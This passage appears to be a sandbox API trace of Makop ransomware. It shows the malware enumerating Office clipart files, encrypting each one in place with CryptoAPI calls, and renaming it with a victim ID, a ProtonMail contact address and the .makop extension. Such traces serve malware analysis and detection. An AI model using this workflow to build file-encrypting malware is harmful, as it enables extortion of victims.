ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0142.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF") returned 63 [0142.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.697] GetProcessHeap () returned 0x48a0000 [0142.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.698] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.724] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.724] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.724] GetProcessHeap () returned 0x48a0000 [0142.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.724] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.724] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.724] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.725] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.725] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.725] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.726] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.726] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.726] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.726] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4124, lpOverlapped=0x0) returned 1 [0142.756] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130, dwBufLen=0x4130 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4130) returned 1 [0142.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.757] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4130, lpOverlapped=0x0) returned 1 [0142.758] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.758] SetEndOfFile (hFile=0xf0) returned 1 [0142.765] GetProcessHeap () returned 0x48a0000 [0142.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.765] GetProcessHeap () returned 0x48a0000 [0142.765] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.765] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00485_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00485_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.767] CloseHandle (hObject=0xf0) returned 1 [0142.767] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0142.767] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF") returned 63 [0142.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.770] GetProcessHeap () returned 0x48a0000 [0142.770] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.770] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.771] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.771] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.775] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.775] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.775] GetProcessHeap () returned 0x48a0000 [0142.775] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.775] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.775] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.776] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.777] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.777] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1402c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1402c, lpOverlapped=0x0) returned 1 [0142.780] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14030, dwBufLen=0x14030 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14030) returned 1 [0142.780] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14030, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14030, lpOverlapped=0x0) returned 1 [0142.782] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.782] SetEndOfFile (hFile=0xf0) returned 1 [0142.789] GetProcessHeap () returned 0x48a0000 [0142.789] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.789] GetProcessHeap () returned 0x48a0000 [0142.790] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.790] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.790] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00489_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00489_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.791] CloseHandle (hObject=0xf0) returned 1 [0142.792] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0142.792] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF") returned 63 [0142.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.795] GetProcessHeap () returned 0x48a0000 [0142.795] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.795] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.803] GetProcessHeap () returned 0x48a0000 [0142.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.803] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.804] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.804] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.804] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1ee4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1ee4, lpOverlapped=0x0) returned 1 [0142.837] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ef0, dwBufLen=0x1ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ef0) returned 1 [0142.837] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.838] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ef0, lpOverlapped=0x0) returned 1 [0142.838] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.838] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.838] SetEndOfFile (hFile=0xf0) returned 1 [0142.846] GetProcessHeap () returned 0x48a0000 [0142.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.846] GetProcessHeap () returned 0x48a0000 [0142.846] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.846] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.846] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00531_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00531_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.848] CloseHandle (hObject=0xf0) returned 1 [0142.848] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0142.849] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF") returned 63 [0142.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00542_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00542_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.850] GetProcessHeap () returned 0x48a0000 [0142.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.850] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.855] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.855] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.856] GetProcessHeap () returned 0x48a0000 [0142.856] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.856] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.856] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.856] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.856] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.857] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8da8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8da8, lpOverlapped=0x0) returned 1 [0142.861] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8db0, dwBufLen=0x8db0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8db0) returned 1 [0142.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8db0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8db0, lpOverlapped=0x0) returned 1 [0142.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.871] SetEndOfFile (hFile=0xf0) returned 1 [0142.877] GetProcessHeap () returned 0x48a0000 [0142.877] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.877] GetProcessHeap () returned 0x48a0000 [0142.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program 